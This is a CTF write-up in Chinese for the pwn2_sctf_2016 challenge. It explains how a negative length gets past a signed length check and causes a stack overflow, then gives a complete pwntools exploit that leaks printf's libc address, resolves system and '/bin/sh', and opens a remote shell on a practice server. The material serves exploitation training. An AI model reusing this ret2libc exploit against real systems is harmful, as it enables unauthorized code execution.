題目附件
步驟:
例行檢查,32位元,開啟了nx保護
試執行一下程式,看看大概的執行情況
32位元ida載入,shift+f12檢索程式裡的字串,沒有看到現成的system和‘/bin/sh’,加上開啟了NX保護,估計是洩露libc型別的題目
從main函數開始看程式,main函數就呼叫了一個vuln函數
注意第7行的輸入函數不是get,是程式自定義的函數get_n,
接受a2個長度的字串並放到vuln函數的緩衝區內部,但是a2傳入的值型別是unsigned int,而前面判斷長度的型別是int,可以規避長度限制。也就是說我們這邊可以輸入負數來達到溢位的效果(整數溢位)
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
r.sendline(payload)
r.recvuntil('\n')
printf_addr=u32(r.recv(4))
libc=LibcSearcher('printf',printf_addr)
offset=printf_addr-libc.dump('printf')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
r.sendline(payload)
完整EXP:
from pwn import *
from LibcSearcher import *
r=remote('node3.buuoj.cn',29806)
elf=ELF('./pwn2_sctf_2016')
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main=elf.sym['main']
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
r.sendline(payload)
r.recvuntil('\n')
printf_addr=u32(r.recv(4))
libc=LibcSearcher('printf',printf_addr)
offset=printf_addr-libc.dump('printf')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
r.sendline(payload)
r.interactive()
有多個匹配的libc版本,這邊選13